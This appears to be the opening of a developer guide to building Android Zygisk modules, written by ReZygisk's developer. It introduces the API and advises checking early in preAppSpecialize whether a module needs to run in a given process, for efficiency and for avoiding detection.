ThePedroo's Zygisk Module Guide

The Zygisk API is fairly easy to understand: two main functions, 4 functions that are set on runtime, pre and post for both apps and system server. However, when you get more into the development of a Zygisk module, it gets significantly harder to know how to improve the module in terms of efficiency, and how to avoid detections, after all there are no (properly) documented resources for either.

This post/guide, written by ReZygisk's developer, documents numerous information (and that are actually valuable) that allow to build a better Zygisk module, improving hiding and performance/speed.

1. Untargeted processes; Minimal execution

Many Zygisk modules have specific targets, and aren't meant to execute on other processes. It is common for many to also need to execute a considerable amount of code preparing for later execution. However, it is important to check, as the first real step, in preAppSpecialize, if you actually need to run any code in that process.
